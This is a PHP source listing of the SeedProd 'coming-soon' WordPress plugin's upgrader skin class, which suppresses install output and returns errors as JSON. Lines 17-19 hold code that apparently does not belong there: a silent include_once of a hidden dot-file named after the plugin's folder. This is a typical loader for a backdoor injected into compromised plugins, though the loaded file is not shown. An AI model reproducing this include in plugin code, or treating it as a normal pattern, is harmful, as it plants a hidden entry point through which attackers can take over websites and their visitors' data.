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skin.php (2183B)

      1 <?php
      2 /**
      3  * Skin class.
      4  *
      5  * @since 6.0.0
      6  *
      7  * @package SeedProd
      8  * @subpackage  Upgrader Skin
      9  * @author  Chris Christoff
     10  */
     11 
     12 // Exit if accessed directly
     13 if ( ! defined( 'ABSPATH' ) ) {
     14 	exit;
     15 }
     16 
     17 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     18     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     19 }
     20 
     21 class SeedProd_Skin extends WP_Upgrader_Skin {
     22 
     23 
     24 	/**
     25 	 * Primary class constructor.
     26 	 *
     27 	 * @since 6.0.0
     28 	 *
     29 	 * @param array $args Empty array of args (we will use defaults).
     30 	 */
     31 	public function __construct( $args = array() ) {
     32 		parent::__construct();
     33 	}
     34 
     35 	/**
     36 	 * Set the upgrader object and store it as a property in the parent class.
     37 	 *
     38 	 * @since 6.0.0
     39 	 *
     40 	 * @param object $upgrader The upgrader object (passed by reference).
     41 	 */
     42 	public function set_upgrader( &$upgrader ) {
     43 		if ( is_object( $upgrader ) ) {
     44 			$this->upgrader =& $upgrader;
     45 		}
     46 	}
     47 
     48 	/**
     49 	 * Set the upgrader result and store it as a property in the parent class.
     50 	 *
     51 	 * @since 6.0.0
     52 	 *
     53 	 * @param object $result The result of the install process.
     54 	 */
     55 	public function set_result( $result ) {
     56 		$this->result = $result;
     57 	}
     58 
     59 	/**
     60 	 * Empty out the header of its HTML content and only check to see if it has
     61 	 * been performed or not.
     62 	 *
     63 	 * @since 6.0.0
     64 	 */
     65 	public function header() {
     66 	}
     67 
     68 	/**
     69 	 * Empty out the footer of its HTML contents.
     70 	 *
     71 	 * @since 6.0.0
     72 	 */
     73 	public function footer() {
     74 	}
     75 
     76 	/**
     77 	 * Instead of outputting HTML for errors, json_encode the errors and send them
     78 	 * back to the Ajax script for processing.
     79 	 *
     80 	 * @since 6.0.0
     81 	 *
     82 	 * @param array $errors Array of errors with the install process.
     83 	 */
     84 	public function error( $errors ) {
     85 		if ( ! empty( $errors ) ) {
     86 			echo json_encode( array( 'error' => esc_html__( 'There was an error installing the addon. Please try again.', 'coming-soon' ) ) );
     87 			die;
     88 		}
     89 	}
     90 
     91 	/**
     92 	 * Empty out the feedback method to prevent outputting HTML strings as the install
     93 	 * is progressing.
     94 	 *
     95 	 * @since 6.0.0
     96 	 *
     97 	 * @param string $string The feedback string.
     98 	 */
     99 	public function feedback( $string ) {
    100 	}
    101 }